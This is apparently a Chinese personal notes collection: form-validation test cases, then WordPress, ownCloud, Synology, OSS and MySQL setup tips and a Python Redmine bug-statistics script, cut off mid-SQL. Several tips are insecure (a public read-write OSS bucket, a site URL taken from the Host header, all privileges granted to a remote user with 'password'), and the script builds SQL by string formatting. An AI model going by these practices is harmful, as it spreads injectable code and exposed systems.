提示‘您选择了多条记录,系统将修改第一条记录,且弹出第一条记录进行修改 修改引用的信息引用的信息提示不能修改,页面没有保存按钮 选择一条记录进行修改保存,测试信息修改是否正常该信息被其他模块引用能够正常进行修改保存,且被引用的信息也跟着修改例如员工信息里的公司名称,那么在公司信息里这个名称做了修改,员工信息里面包含公司名称的也全部做了修改,相反员工信息里面针对公司名称照道理不允许修改添加 执行新增操作,测试是否能正常进行新增输入必填字段能正常完成新增操作  只填写界面上标识的必填字段(即标识*号)号的字段,测试界面上必填字段控制与数据库必填控制是否一致 能够正常进行保存  输入相关数据后,进行保存,测试当因任何原因无法提交时,原输入的内容是否保存制造提交失败的数据,比如某个字段输入不符合要求提交失败后,界面的数据仍保留,不会清空  执行新增操作,测试新增记录是否排在首行对排序没有特殊要求的界面满足新增记录排在首行的规则不一定在首行,有些可能是按编号排序 执行新增操作,关键字段与数据库中已存在的值重复,测试是否对重复值进行了判断重复提交以增加过的记录提示该信息已经存在,请重新输入的提示信息  执行新增操作,测试是否对各字段的长度进行了限制各输入的值都大于表中定义的长度在各输入框中,输入的内容达到所定义的长度时,则限制无法输入了。(如果输入的为中文字符,则控制到一半的长时就够了)  操作新增操作,测试是否对各输入框的非法字符进行了控制在各输入框中,输入@#$%^&*()

~%[]-/’等。1、不允许输入或提示‘你输入的 **中存在非法字符,请重新输入2、允许输入保存后,能够正常回显  在各输入框中输入相应的值进行新增保存,测试对各输入框中,输入内容前中后包含空格1、前面存在空格2、后面存在空格3、前/后都存在空格4、中间存在空格1、2、3能够正常去掉空格保存;4 连同空格一起进行保存  在多行文本框中输入文字及回车进行保存,测试在多行文本框中,是否允许存在回车符存在一个或多个回车键能够正常进行保存及显示  测试针对特殊字段限制是否正常1、主页地址2、电话号码3、E-mail地址1、主页地址中可输入2、电话号码中可输入-3、E-mail地址中输入@具体查看各个输入框对应校验,如电话号码 测试是否对必填字段进行了检查关键字段不输入或输入空格提示‘请输入XX,光标停留在第一个需输入的输入框处光标离开输入框时便提示不符合标准 点击‘新增’按钮,在弹出的页面中,输入及选择相应信息,点击取消(返回)按钮,测试点击取消(返回)时是否会给予相应的提示 给予‘是否需要保存’的提示需要这个提示比较好 输入非负整型数据,测试是否对数值型数据进行了格式化输入1、输入正常的正整数2、输入0、负数、小数3、输入超大值(超出该字段定义范围)4、输入非数值(如数值+字符;字符+数值;进行了格式化输入控制;1、能够正常输入2、不允许输入3、给予提示信息4、不允许输入或提交时给予提示信息。  输入整型数据,测试是否对数值型数据进行了格式化输入1、输入正整数、0、负整数2、输入小数3、输入超大值(超出该字段定义范围)4、输入非数值(如数值+字符;字符+数值;纯字符)进行了格式化输入控制:1、能够正常输入2、不允许输入 3、给予提示信息4、不允许输入或提交给予提示信息。  输入浮点型数据,测试是否对数值型数据进行了格式化输入1、输入正数、0、负数2、输入超大值(超出该字段定义范围)3、输入超出精度范围值(超出该字段定义精度)4、输入非数值(如数值+字符;字符+数值;纯字符)进行了格式化输入控制:1、能够正常输入2、给予提示信息 3、给予提示信息4、不允许输入或提交给予提示信息。  点击新增按钮,输入信息后,点重置 能够清空已输入的数据,但不清空新增时默认生成的数据 邮箱格式(注意大小写测试)必填为必填项时,不输入任何字符或输入空格不输入任何信息校验不通过,给予提示信息电子邮箱格式:英文+数字+标点符号(小数点,横杆)@(英文+数字+标点符号).com.cn.com.cn.net 等163.com 、21cn.com、yahoo.com.cn 、 someone@example.com 、18211114227@wo.cn英文是否可以大小写互通输入中文空格输入英文空格 输入中文或英文  字符串中没有@和点ceshi163com 全部转成大写测试一遍 字符串中有@和没有点ceshi@163com 字符串中没有@和有点ceshi163.com 字符串中有特殊字符$huiyanni@163.com 第一个字符串为@ 或点.test或@test 字符串的最后一位是@或点test@163. @和点之间没有字符串liao@.com 字符串中多于两个@符号123@qq@qq.com 字符串长度小于6,大于30个字符werw, wew...@163.com 字符串中有汉字邮箱格式@qq.com 输入@前面有分隔符的情况a.b@163.com 校验可通过 输入@后面有多个分隔符(小数点)ab@163.c.d 校验可通过身份证号码 测试对身份证号码的溢出是否进行了控制输入少于15位的身份证号码:如:36031219880708给予提示信息,不允许提交15位身份证号就是18位:去掉最后一位和年的前两位,一般针对19 输入大于15位的身份证号码:如:3603121988101058  输入少于18位的身份证号码:如:36031219897521456  输入大于18位的身份证号码:如:3603121987052874123  测试是否对数字型数据是否进行了格式化输入输入特殊字符串NULL、null、 空格的转义字符;
;;;< /tr>等进行了格式化输入,不可以输入非数字之外的数据  输入汉字  输入字母 必填为必填项时,不输入任何字符或输入空格不输入任何信息必填,给予提示 输入中文空格 输入英文空格  测试是否对身份证号码进行了格式化输入(不存在的身份证号码)输入错误或不存在的身份证号码 332502201601012745提示身份证号码不正确  输入的身份证号码是15位的真实号码(最后一位为字母或数字,字母是否一定是X,另外要求字母是否可以大小写都通过) 提交成功   输入的身份证号码是18位的真实号码(最后一位为字母或数字) 提交成功 电话号码 测试是否对数字型数据是否进行了格式化输入输入特殊字符串NULL、null、 空格的转义字符;
;;;< /tr>;;;;等“-”除外校验不通过,给予提示信息常见的固定电话号码格式为区号加“-”加7位或8位电话号码区号:3-5位,如北京:010、杭州0571、贵州福泉08641格式:+ 86 571 8667 4288、0571-87654321、571-87654321、(0571)87654321、87654321、95105888服务热线电话:95504、4008-114-124、400-665-9999等 输入汉字或字母必填为必填项时,不输入任费时何字符或输入空格不输入任何信息输入中文空格输入英文空格手机号码必填为必填项时,不输入任何字符或输入空格输入英文空格校验不通过,给予提示信息格式:校验数字开头或者目前是数字1开头的测试数据:135-1234-1234、+8612345678900、+86 12345678900、(86)12345678900、23415678900特殊的 147、157、183、188、189等输入中文空格不输入任何信息 输入长度超过11位字符例如:158581654789 输入长度小于11位字符例如:158、15825、15858125、1585814569等 测试是否对数字型数据是否进行了格式化输入输入特殊字符串NULL、null、 空格的转义字符;进行了格式化输入,不可以输入非数字之外的数据 输入汉字或字母 测试是否对手机号码进行了格式化输入除这些号码以外的:联通:130-132,155,156,186 移动:134-139,150-152,157-159,188 电信:133,153,189,180进行了格式化输入最好校验一下长度是11位数字,1开头即可邮政编码必填输入英文空格/不输入任何信息/输入中文空格 给予提示信息,不允许提交  输入特殊字符 给予提示信息,不允许提交  输入中、英文内容/中英文结合数字 给予提示信息,不允许提交  输入空格+数字,空格出现在开头、中间、结尾均需测试 前后去掉空格,中间含空格给予提示  输入小于6个数字 给予提示信息,不允许提交  输入6位数字 通过  输入大于6位位数字 给予提示信息,不允许提交 验证码 不输入任何字符    空格输入    输入空格+正确效验码,空格出现在开头、中间、结尾均需要测试    输入4位其他非数字内容    输入特殊字符    输入前3位或后3位验证码正确数字    输入4位正确校验码+其他数字   登录(用户名和密码) 输入正确的用户名和密码登陆用户名:ceshi 密码:123465登陆成功  不输入任何信息,点击登录 无法登录,提示请用户名和密码不能为空  输入存在的用户名,密码为空,点击登录用户名:test无法登录,提示请密码不能为空  输入存在的密码,用户名为空,点击登录密码:123456无法登录,提示用户名不能为空  输入存在的用户名、不存在的密码,点击登录用户名:test 密码:456无法登录,提示请输入正确的密码  输入不存在的用户名、存在的密码,点击登录用户名:test1 密码:123456无法登录,提示该用户名不存在  输入不存在的用户名、不存在的密码,点击登录用户名:test1 密码:123无法登录,提示请输入正确的用户名或密码  连续输入三次用户名和密码不正确,点击登录 无法登录,提示:您没有使用该系统的权限,请与管理员联系!  输入正确的用户名和密码,但用户名未区分小写用户名:A001 密码:123区分大小写,不能正常登录,提示请输入正确的用户名或密码  输入正确的用户名和密码,但密码未区分小写用户名:a001 密码:A123区分大小写,不能正常登录,提示请输入正确的的密码  在合法的用户名或密码前插入空格用户名:空格a001 密码:空格123提示请输入正确的用户名或密码  在合法的用户名或密码中间插入空格用户名:aa空格a001 密码:11空格123提示请输入正确的用户名或密码  在合法的用户名或密码后插入空格用户名:aa001空格 密码:111空格提示请输入正确的用户名或密码  输入已经禁止的用户名用户名:test 密码:123456您输入的用户名已经被禁止  输入已经删除的用户名用户名:test 密码:123456您输入的用户名不存在  验证是否支持快捷键tab键 鼠标光标依次跳转到用户名、密码、登录按钮上  用全三角输入法输入用户名或密码用户名:abc 密码:123请输入正确的用户名或密码  用户重置或取消:输入用户名或密码,点击重置或取消用户名:test 密码:123456清空输入框 注册 不输入任何信息,直接点注册,验证是否必填 提示不能为空  输入用户名、密码和确认密码,点击提交表单用户名:test 密码:123456 确认密码:123456注册成功  输入用户名、密码和确认密码,用户名以字符开头用户名:-test001 密码:123456 确认密码:123456提示"用户名只能以数字或字母开头或结尾,请重新输入"  输入用户名和密码,用户名含有非法字符用户名:a0571&00 密码:123提示用户名含有非法字符  输入用户名和密码,密码含有非法字符用户名:a0571 密码:123*123提示密码含有非法字符  输入用户名、密码和确认密码,两次密码输入不一致用户名:a0571 密码:123 确认密码:456提示两次密码输入不一致,请重新输入  输入用户名、密码和确认密码、邮箱,邮箱格式的不正确用户名:a0571 密码:123 确认密码:123 邮箱:4412854qq.com提示邮箱地址不正确不正确  输入用户名和密码,输入的用户名已经被注册用户名:test 密码:123456提示用户名已经被注册,请重新输入  输入用户名和密码,用户名和密码长度都是最大值用户名:testtest0123456789 密码:360312196808061028注册成功  输入用户名和密码,用户名长度超过最大值用户名:testtest01234567890 密码:123456注册失败,提示用户名的长度超过最大有效值  输入用户名和密码,密码长度超过最大值用户名:test 密码:3603121968080610280注册失败,提示密码的长度超过最大有效值  输入用户名和密码,用户名和密码长度都是最小值用户名:test01 密码:123456注册成功  输入用户名和密码,用户名长度小于最小值用户名:test 密码:123456注册失败,提示用户名或密码的长度低于最小有效值  输入用户名和密码,密码长度小于最小值用户名:test01 密码:123   输入用户名和密码,验证是否支持快捷键tab键 鼠标光标依次跳转到用户名、密码、确认密码等  输入已经存在的用户名,验证对已经存在用户的用户名大小写是否做出正确响应用户名:Test001注册成功(用户名区分大小写) IP地址 测试必填:输入中英文空格或者不输入任何信息 给予提示信息,不允许提交  IP地址 前中后含空格 中间不允许包含空格  要求是4位,输入小于4位或者大于4位格式137.125.11、137.112.254.12.12、给予提示信息,不允许提交  4位中有任意一位大于255(测试每一位)192.124.256.21给予提示信息,不允许提交  第一个数字或者最后一个数字为00.1.2.3、255.255.255.0、23.54.156.0等给予提示信息,不允许提交  其中某一位超过4个数字145.1234.12.111给予提示信息,不允许提交  特殊的IP255.255.255.255、0.0.0.0、1.1.1.1   正确的ip地址中混入非法字符/中文/英文 给予提示信息,不允许提交 ### 实现多个域名同时访问wordpress 一、任意域名访问 说明:在wp-config.php文件中加下面代码,就能实现任意http域名都能正常访问博客,而且不会串联到其他域名。 define('WP_SITEURL', 'http://' . $_SERVER['HTTP_HOST']); define('WP_HOME', 'http://' . $_SERVER['HTTP_HOST']); 二、实现任意域名https访问 define('WP_SITEURL', 'https://' . $_SERVER['HTTP_HOST']); define('WP_HOME', 'https://' . $_SERVER['HTTP_HOST']); 三、限制特定域名访问 也可以只指定某些域名可以访问。注意把$domain = array("saiita.com.cn", "saiita.com.cn");括号内的域名改成你自己需要绑定的域名。这样就可以设置成你添加的这几个域名能正常访问。而其他未添加的域名则无法访问。 define('WP_SITEURL', 'http://' . $_SERVER['HTTP_HOST']); define('WP_HOME', 'http://' . $_SERVER['HTTP_HOST']); ### Wordpress解决因更换主题不能进入后台问题(恢复默认主题) 解决因更换主题后,进入不了wordpress后台问题。 1)登陆Wordpress的数据库 2)修改 wp_options 数据表的 template , stylesheet 的字段修改为需要设置的主题名称 3)登陆wordpress网站,查看是否已经更换了主题。无效时,重启服务器,然后登陆后台 ### Wordpress解决密码忘记问题 WorePress安装后都是自动给出密码的,我一直是自动登陆,所以一个月后居然把密码忘记了。WP使用的是MD5保存密码,所以密码不可逆。想 到后台 可以使用数据库,可以通过数据库找回密码,登陆phpmyadmin,然后如图,登陆后第一步是选择数据库.一般虚拟主机都带有phpmyadmin. 找到XX_user数据表修改user_pass值为下面的MD5值 修改MD5密码为:”5d41402abc4b2a76b9719d911017c592″ 然后回到WordPress登陆页面,使用密码”hello” 登陆。 ### MySQL 查询字符串数字范围 1)当字段为字符串类型,需要查询数字范围内的数据(比如>1) cast(字段名 as numeric(18,2))>1 ### 群晖218+ 如何添加安装8G内存条! 1)关机取下硬盘,就会看见安装内存条的地方 2)把内存条插上,硬盘安装上 3)开机查看是否已经读取了内存条 更新:群晖224+ 如何快速添加安装8G内存条!!! ### 群晖内存条规格 DDR3 的笔记本内存,频率 1866,电压 1.35V ( DDR3L 1866MHZ ) 老笔记本内存条,1.5V的安装不了 ### 解决阿里云OSS上传图片返回403 1)查看阿里云OSS是否是公共读写 2)是否开启了原图保护(路径:阿里云OSS→图片管理→访问设置→关闭原图保护) 解决方法: 阿里云OSS需要设置公共读写,原图保护需要关闭 ### 群晖(218+)Synology Surveillance Station搭建家庭监控中心 萤石摄像头型号:C3HW,C6Tc 免费支持2路监控,需要增加监控的话,需要买验证码 1)群晖安装Surveilance Station 2)设置好萤石摄像头并连接网络,然后查看底座的验证码 3)打开 Surveilance Station 4)选择完整设置,点击下一步 5)品牌选择自定义,名称可以自己填,然后选择串流-RTSP 6)路径填 7)后面的设置默认就可以 ### 解决群晖更换网络,不能连接问题 当群晖更换了局域网(IP网段不一致)后,连接不上群晖后台,不知道IP。 解决方法:   ### 解决owncloud登录提示域名不信任问题 1) 您正在访问来自不信任域名的服务器。 请联系你的系统管理员。如果你是系统管理员,配置 config/config.php 文件中参数 "trusted_domain" 设置。 一个示例配置在 config/config.sample.php 文件或 文档中有提供。 解决方法:修改config/config.php配置文件,找到'trusted_domains',在array (里添加需要信任的网站 'trusted_domains' => array ( 0 => 'saiita.com.cn1', 1 => 'saiita.com.cn2',//需要添加的域名 ), ### 解决刚安装owncloud异常信息(nginx) 1) PHP 似乎没有设置好查询的系统环境变量。 用 getenv("PATH") 测试只返回一个空值。请检查 PHP 配置说明和服务器的 PHP 配置 安装文档 ↗,使用 PHP-FPM 时尤其注意。 解决方法: a:在php-fom.conf最后一行添加 env[PATH] = /usr/local/bin:/usr/bin:/bin:/usr/local/php/bin 文件路径:/www/server/php/72/etc/ 2)事务文件锁定应配置为使用基于内存的锁定,而不是默认的基于慢速数据库的锁定 解决方法:在owncloud目录下面的config/config.php添加下面配置 'memcache.local' => 'OCMemcacheRedis', 'redis' => [ 'host' => 'localhost', 'port' => 6379, ], 'memcache.locking' => 'OCMemcacheRedis', 3) HTTP 严格传输安全(Strict-Transport-Security)报头未配置到至少“15552000”秒。处于增强安全性考虑,我们推荐按照安全提示启用 HSTS。 解放方法:登录宝塔,进入Nginx配置文件加入下面的配置 add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always; 4) /dev/urandom 无法被 PHP 读取,出于安全原因,这是强烈不推荐的。请查看文档了解详情。 解决方法:删除根目录下面的.user.ini 5) 你的数据目录和你的文件可能从互联网被访问到。.htaccess 文件不工作。我们强烈建议你配置你的网页服务器,使数据目录不再可访问,或者将数据目录移动到网页服务器根文档目录之外。 解决方法:nginx配置添加下面代码 location ~ ^/(?:build|tests|config|lib|3rdparty|templates|data)/ { deny all; } ### snipaste截图软件 1)下载网址:https://zh.snipaste.com 2)解压后运行exe文件,按F1截图,F3贴图 ### 群晖关联阿里云OSS 1)登录阿里云搭建OSS 2)查看AccessKey 3)登录群晖,下载cloud sync 按照要求输入Key的值,会自动显示bucket,然后保存 ### 使用谷歌浏览器不能上传图片-wordpress 使用谷歌浏览器,上传图片会返回503,原因未知,apache已经更换到了nginx不能解决。 原因是开启了OSS原图保护 503 Service Unavailable

Service Unavailable

The server is temporarily unable to service your request due to maintenance downtime or capacity problems. Please try again later.


Apache Server at www.saiita.cn Port 443
使用PC端的IE,手机浏览器正常上传图片 谷歌浏览器版本 ### 宝塔设置阿里云OSS 宝塔的阿里云OSS挂载到服务器后,可以设置计划任务,定时备份网站到OSS。 这样当服务器崩溃时,或者迁移网站时可以从OSS下载文件到本地。 1)首先要在云解析创建子域名 2)创建阿里云OSS 读写权限为公共读写,绑定域名。 3)在宝塔上安装阿里云OSS 宝塔安装插件 登录阿里云查看AccessKeyId,AccessKeySecret,Bucket,EndPoint 可以查看《阿里云OSS ,AccessKeyId地址》文章获取相应字段的值 填入下面的参数 AccessKeyId AccessKeySecret Bucket 外链域名 点击保存 4)设置宝塔定时备份到i阿里云OSS 进入宝塔的计划任务,选择网站备份,设置备份时间。 备份到设置阿里云OSS。然后点击执行查看任务是否执行成功。 查看日志,这样就备份成功了 ### 宝塔安装owncloud-apache/nginx 1)百度搜索owncloud 下载owncloud安装文件 2)上传文件到宝塔的/www/wwwroot,解压 3)进入宝塔,网站页面,添加网站,输入域名,添加数据库 4)然后登录设置好的域名,登录到owncloud设置页面 5)登录owncloud ### 阿里云OSS ,AccessKeyId地址 ### 自动12个小时执行同步语雀 python代码 #__author__ = 'chenghoufeng' # -*- coding: utf-8 -*- import time import sys import os def print_ts(message): print "[%s] %s"%(time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()), message) def run(interval): print_ts("-"*61) print_ts(u"每 %s 秒执行一次."%interval) print_ts("-"*61) while True: try: # sleep for the remaining seconds of interval time_remaining = interval-time.time()%interval print_ts(u"开始执行时间: %s (%s 秒)..."%((time.ctime(time.time()+time_remaining)), time_remaining)) time.sleep(time_remaining) print_ts("开始运行。") print_ts("-"*61) os.system("yuque-hexo clean >> yuque-hexo.log") print u'延迟10秒执行' time.sleep(10) sync = os.system("yuque-hexo sync >> yuque-hexo.log") except Exception, e: print e if __name__ == '__main__': # 收集,统计bug数据 reload(sys) sys.setdefaultencoding('utf-8') # 每15分钟(1800秒)收集一次Bugs数据,并进行统计。 interval = 43200 run(interval) sh #!/bin/bash echo "开始运行hexo" rm *hexo.log nohup hexo server >> hexo.log 2>&1 & echo "开始执行定时" nohup python -u yuque-hexo.py >> hexo.log 2>&1 & echo "运行结束" ### Hexo同步语雀文章 github项目地址:https://github.com/x-cold/yuque-hexo 1、前提 事先拥有一个 hexo 项目,在package.json配置相关信息,详见 例子。 node版本需要在8.x以上。 2、配置 package.json { "name": "your hexo project", "yuqueConfig": { "baseUrl": " https://www.yuque.com/api/v2 ", "login": "yinzhi", "repo": "blog", "mdNameFormat": "title", "postPath": "source/_posts/yuque" } } "postPath": 存放从语雀下载的 Markdown 文件的文件夹,除了 Hexo ,理论上可以支持其他支持 Front-matter 的 Markdown 静态博客 3、安装 npm i -g yuque-hexo npm i --save-dev yuque-hexo 4、同步语雀文章 yuque-hexo sync 5、清楚hexo文章 6、Npm 脚本 { "dev": "npm run sync && hexo s", "sync": "yuque-hexo sync", "clean:yuque": "yuque-hexo clean" } 7、Debug DEBUG=yuque-hexo.* yuque-hexo sync 8、提示 语雀同步过来的文章会生成两部分文件; yuque.json: 从语雀 API 拉取的数据source/_posts/yuque/*.md: 生成的 md 文件 9、例子 { "name": "hexo-site", "version": "0.0.0", "private": true, "hexo": { "version": "3.8.0" }, "scripts": { "clean": "hexo clean", "clean:yuque": "DEBUG=yuque-hexo.* yuque-hexo clean", "deploy": "hexo deploy", "publish": "npm run clean && npm run deploy", "dev": "hexo s", "sync": "DEBUG=yuque-hexo.* yuque-hexo sync", "reset": "npm run clean:yuque && npm run sync" }, "dependencies": { "hexo": "^3.7.0", "hexo-generator-archive": "^0.1.5", "hexo-generator-category": "^0.1.3", "hexo-generator-index": "^0.2.1", "hexo-generator-searchdb": "^1.0.8", "hexo-generator-tag": "^0.2.0", "hexo-renderer-ejs": "^0.3.1", "hexo-renderer-marked": "^0.3.2", "hexo-renderer-stylus": "^0.3.3", "hexo-server": "^0.3.1", "yuque-hexo": "^1.3.0" }, "yuqueConfig": { "baseUrl": "https://www.yuque.com/api/v2", "login": "chf", "repo": "note", "mdNameFormat": "slug", "postPath": "source/_posts/yuque" } } ### Ubuntu最简单安装hexo主题方法 1、安装nodejs apt install nodejs-legacy 2、安装Git sudo apt-get install git-core 3、安装npm ,系统有的话不用安装 sudo apt-get install npm 4、安装hexo主题 npm install -g hexo-cli 5、创建Blog文件夹 hexo init blog 6、清除静态文件夹 hexo clean 7、重新生成静态文件 hexo g 8、运行hexo hexo server 9、后台运行hexo nohup hexo server & ### Linux 设置远程连接,并添加远程连接用户(10038) 1:配置mysql服务器 # 1.更改配置文件 #因为远程mysql服务器,设置只监听本地的端口,更改mysql配置文件,注释掉下面的一行。打开远程服务器的配置文件. sudo vi /etc/mysql/mysql.conf.d/mysqld.cnf # 注释下面一行。 # bind-address = 127.0.0.1 # 如果没注释上面的一行,客户端连接时,会出现如下错误。 ERROR 2003 (HY000): Can't connect to MySQLserver on '192.168.1.249' (111) # 2. 打开mysql服务 sudo service /etc/init.d/mysql start # 3. 配置mysql服务器 qt@tony:~/Desktop$ mysql -u root -p Enter password: Welcome to the MySQL monitor. Commands end with ; or g. Your MySQL connection id is36 Server version: 5.5.53-0ubuntu0.12.04.1 (Ubuntu)

Copyright (c) 2000, 2016, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or 'h' for help. Type 'c' to clear the currentinput statement. mysql> use mysql; Reading table information for completion of table and column names You can turn offthis feature to get a quicker startup with -A Database changed # 允许用户的ip是192.168.1.248,使用用户名为 saiita, 密码是 password进行登录。 mysql> grant all PRIVILEGES on *.* to saiita@'192.168.1.248' identified by 'password'; Query OK, 0 rows affected (0.00 sec) mysql> flush privileges; Query OK, 0 rows affected (0.01 sec) mysql> quit Bye 2:Mysql添加远程连接用户 # 连接出现错误。 # error1: ERROR 1045 (28000): Access denied for user 'saiita'@'aplex-2.local' (using password: YES) # 我这边得情况是本地的ip没有配置,从新配置ip. sudo ifconfig eth0 192.168.1.248. # 连接 # 以服务器设置的用户名登录 Qt@tony:~$ mysql -h 192.168.1.248 -u saiita -p Enter password: # 或者以root用户登录 Qt@tony:~$ mysql -h 192.168.1.249 -u saiita -p Enter password: Welcome to the MySQL monitor. Commands end with ; or g. Your MySQL connection id is 37 Server version: 5.5.53-0ubuntu0.12.04.1 (Ubuntu) Copyright (c) 2000, 2016, Oracle and/or its affiliates. All rights reserved. Oracle is a registered trademark of Oracle Corporation and/or its affiliates. Other names may be trademarks of their respective owners. Type 'help;' or 'h' for help. Type 'c' to clear the current input statement. mysql> ### Git基本使用方法 1、常用命令 git clone 网址 cd 项目文件夹名称 git checkout -b 项目分支 git pull origin 项目分支 2、pull和clone区别 Git是一个开源的分布式版本控制系统,可以有效、高速的处理从很小到非常大的项目版本管理。Git是一款免费、开源的分布式版本控制系统,用于敏捷高效地处理任何或小或大的项目。然后,git的pull和clone其实都属于git的命令,有明显的区别,如下:Git Pull当使用git pull时,将会获取远程服务器上的代码,并且立即合并到本地厂库,Pull是一个高等级的请求,默认会支持Fetch和merge的操作,如果不是为了使用上的方便,可以完全不使用这个命令。操作命令如下: $git checkout localbranch $git pull origin master $git branch master *localbranch Git Cloneclone将会克隆一个本地厂库,clone会为被克隆的远程repo(仓库)创建一个名为“origin”的local repo(本地仓库),并为远程repo的活动分支创建一个本地分支以及远程跟踪分支。操作命令如下: $cd newfolder $git clone git@github.com:whatever/something.git $git branch *master remotebranch ### Ubuntu 20.04 开启远程桌面 1)在终端输入下面命令行 sudo apt-get -y install xfce4 默认选择gdm3 sudo apt-get install xrdp 2)PC端打开远程桌面输入IP地址和账号 同时需要安装 tightvncserver,解决远程桌面连接出错 sudo apt-get install tightvncserver 3)解决远程桌面遇到的问题 1、Ubuntu20.04连接远程桌面黑屏 2、解决Ubuntu 20.04远程连接-Authentication Required ### Linux如何添加sh脚本 1、添加start.sh执行bugs.py脚本 #!/bin/bash echo "开始运行bugs.py" nohup python -u bugs.py >> bugs.log 2>&1 & echo "运行结束" 2、运行start.sh sh start.sh ### Python收集Redmine bug数据 一、更新日志 1.1、计划 web,每15分钟动态展示Bugs统计数据(计划)。 1.2、优化 Python环境安装。 添加执行sh执行代码。 优化代码,可以每15分钟执行一次。 优化代码,可以指定时间执行。 优化代码,能查询当天新提交,已关闭,未关闭状态的Bugs数量(The_BUG_today_report)。 优化代码,The_BUG_today_report添加The_query_time字段,可以查询python运行时间。 1.3、BUG 解决当日Bug未关闭Bugs数量统计有问题。 二、环境部署 1.1、环境安装 安装python 安装python相关的包 sudo apt-get install libmysqld-dev 2pip install mysql-python 3pip install xlwt 4pip install python-redmine 5pip install progressbar 在Ubuntu上运行 nohup python -u bugs.py > bugs.log 2>&1 & 1.2、MySQL 1.2.1 、Bugs数据表 CREATE TABLE `Bugs` ( `id` int(11) NOT NULL, `num` int(11) DEFAULT NULL, `project` varchar(255) DEFAULT NULL, `status` varchar(255) DEFAULT NULL, `priority` varchar(255) DEFAULT NULL, `tracker` varchar(255) DEFAULT NULL, `author` varchar(255) DEFAULT NULL, `subject` varchar(255) DEFAULT NULL, `start_date` date DEFAULT NULL, `updated_on` datetime DEFAULT NULL, `done_ratio` varchar(255) DEFAULT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8; 1.2.2、The_BUG_month_report数据表 CREATE TABLE `The_BUG_month_report` ( `month` varchar(11) NOT NULL, `times` int(11) DEFAULT NULL, `closed` varchar(255) DEFAULT NULL, `open` varchar(255) DEFAULT NULL, PRIMARY KEY (`month`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8; 1.2.3、The_BUG_days_report数据表 CREATE TABLE `The_BUG_days_report` ( `days` date NOT NULL, `times` int(11) DEFAULT NULL, `closed` int(11) DEFAULT NULL, `open` int(11) DEFAULT NULL, PRIMARY KEY (`days`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8; 1.2.3、The_BUG_weeks_report数据表 CREATE TABLE `The_BUG_weeks_report` ( `week` varchar(255) NOT NULL, `times` int(11) DEFAULT NULL, `closed` varchar(255) DEFAULT NULL, `open` varchar(255) DEFAULT NULL, PRIMARY KEY (`week`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8; 1.2.4、The_BUG_year_report数据表 CREATE TABLE `The_BUG_year_report` ( `years` varchar(255) NOT NULL, `times` varchar(255) DEFAULT NULL, `closed` varchar(255) DEFAULT NULL, `open` varchar(255) DEFAULT NULL, PRIMARY KEY (`years`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8; 1.2.5、The_BUG_today_report数据表 CREATE TABLE `The_BUG_today_report` ( `days` date NOT NULL, `new` int(10) DEFAULT NULL, `closed` int(10) DEFAULT NULL, `open` int(10) DEFAULT NULL, `The_query_time` datetime DEFAULT NULL, PRIMARY KEY (`days`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8; 2、代码 2.1、每15分钟运行一次代码 #__author__ = 'chenghoufeng' # -*- coding: utf-8 -*- import MySQLdb import xlwt import time import sys from redminelib import Redmine # 连接Redmine def set_Redmine(): REDMINE_URL = 'http://redmine.******.cn' #redmine 的地址 REDMINE_KEY = '*****'#这个是自己redmine的账号 redmine = Redmine(REDMINE_URL,key=REDMINE_KEY) issues = redmine.issue.all(project_id = 'ptq',status_id='*',tracker_id=None) return issues # 清空全部数据表 def Empty_data(): # 打开数据库连接 db = MySQLdb.connect("localhost", "bug", "******", "bug", charset='utf8' ) # 使用cursor()方法获取操作游标 cursor = db.cursor() sql = "truncate table Bugs" sql1 = "truncate table The_BUG_days_report" sql2 = "truncate table The_BUG_weeks_report" sql3 = "truncate table The_BUG_month_report" sql4 = "truncate table The_BUG_year_report" print_ts(u'清空全部数据表') try: # 执行sql语句 #需要清除bug表的数据 cursor.execute(sql) cursor.execute(sql1) cursor.execute(sql2) cursor.execute(sql3) cursor.execute(sql4) #提交数据 db.commit() except: #发生错误时回滚 print u'回滚' db.rollback() # 关闭数据库连接 db.close() def bugs(): # 先清空数据库的全部数据表 Empty_data() print_ts(u'收集bugs数据。') # 打开数据库连接 db = MySQLdb.connect("localhost", "bug", "******", "bug", charset='utf8' ) # 使用cursor()方法获取操作游标 cursor = db.cursor() for i in set_Redmine(): # SQL插入语句 sql = "INSERT INTO Bugs (id,project,status,priority,tracker,author,subject,start_date,done_ratio,num,updated_on) SELECT %d,'%s','%s','%s','%s','%s','%s','%s','%s','1','%s' FROM DUAL WHERE NOT EXISTS (SELECT id FROM Bugs WHERE id = %d and project = '%s')" % (i.id,i.project,i.status,i.priority,i.tracker,i.author,i.subject,i.start_date,i.done_ratio,i.updated_on,i.id,i.project) #print sql try: # 执行sql语句 cursor.execute(sql) #提交数据 db.commit() except: #发生错误时回滚 print u'回滚' db.rollback() # 关闭数据库连接 db.close() bug_statistical_calculation() # 按照日,周,月,年统计bugs数量 def bug_statistical_calculation(): # 打开数据库连接 db = MySQLdb.connect("localhost", "bug", "******", "bug", charset='utf8' ) # 使用cursor()方法获取操作游标 cursor = db.cursor() sql1 = "REPLACE INTO The_BUG_days_report(days,times) SELECT DATE_FORMAT(start_date, '%Y-%m-%d') AS DAY,SUM(`num`) AS count FROM Bugs GROUP BY DAY" sql2 = "REPLACE INTO The_BUG_weeks_report (WEEK, times) SELECT WEEK (DATE_ADD(start_date,INTERVAL 7 DAY)) AS WEEK,SUM(`num`) AS count FROM Bugs GROUP BY WEEK (DATE_ADD(start_date,INTERVAL 7 DAY))" sql3 = "REPLACE INTO The_BUG_month_report(month,times) SELECT MONTH(start_date) as month,SUM(`num`) AS count FROM Bugs GROUP BY MONTH" sql4 = "REPLACE INTO The_BUG_year_report(years,times) SELECT YEAR(start_date) as years,SUM(`num`) AS count FROM Bugs GROUP BY YEAR(start_date)" sql5 = "DELETE FROM Bugs WHERE tracker = '%s'"% ('管理') sql6= "REPLACE INTO The_BUG_today_report(days,closed,open,new) VALUES( DATE_FORMAT(NOW(),'%Y-%m-%d'), IFNULL((SELECT SUM(`num`) AS count FROM Bugs WHERE DATE_FORMAT(updated_on,'%Y-%m-%d') = 